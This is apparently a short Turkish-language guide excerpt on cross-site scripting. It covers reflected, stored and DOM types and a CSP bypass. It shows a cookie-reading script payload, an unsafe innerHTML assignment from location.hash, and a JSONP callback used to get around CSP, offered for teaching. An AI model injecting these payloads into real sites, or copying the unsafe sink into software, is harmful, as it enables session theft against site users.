// XSS: Reflected'dan Stored'a, DOM'dan CSP Bypass'a

Cross-Site Scripting'in tüm türleri, modern tarayıcı korumalarını atlatma ve gerçek dünya örnekleri.

#xss#csp#dom#stored#reflected

xss-kapsamli-rehber.md — bleadow

## XSS Türleri

<script>alert(document.cookie)</script>

Veritabanına kaydedilen ve her kullanıcıya gösterilen payload.

// Güvensiz kod
document.getElementById('output').innerHTML = location.hash.slice(1);

// JSONP endpoint üzerinden bypass
<script src="https://trusted.com/api?callback=alert(1)"></script>